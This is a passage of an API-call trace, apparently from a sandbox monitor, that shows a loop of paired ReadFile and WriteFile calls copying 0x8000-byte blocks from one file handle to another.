	[0253.213] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.214] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.216] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.216] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.217] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.217] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.219] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.219] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.221] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.221] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.222] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.391] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.402] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.402] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.403] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.404] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.405] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.405] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.406] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.406] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.407] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.407] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.408] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.409] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.410] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.410] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.411] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.413] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.416] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.417] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.418] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.418] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.419] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.420] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.534] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.534] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.536] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.536] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.537] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.537] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.538] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.538] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.539] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.541] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.544] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.544] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.545] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.545] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.547] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.547] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.548] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.548] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.549] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.549] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.550] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.551] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.552] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.552] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.553] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.554] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.556] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.556] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.558] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.558] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.559] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.559] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.560] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.560] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.562] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.562] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.563] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.563] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.564] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.564] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.565] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.686] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.693] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.693] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.694] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.694] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.694] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.694] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.695] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.695] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.696] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.696] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.696] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.696] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.697] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.697] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.698] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.698] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0253.699] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0253.699] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
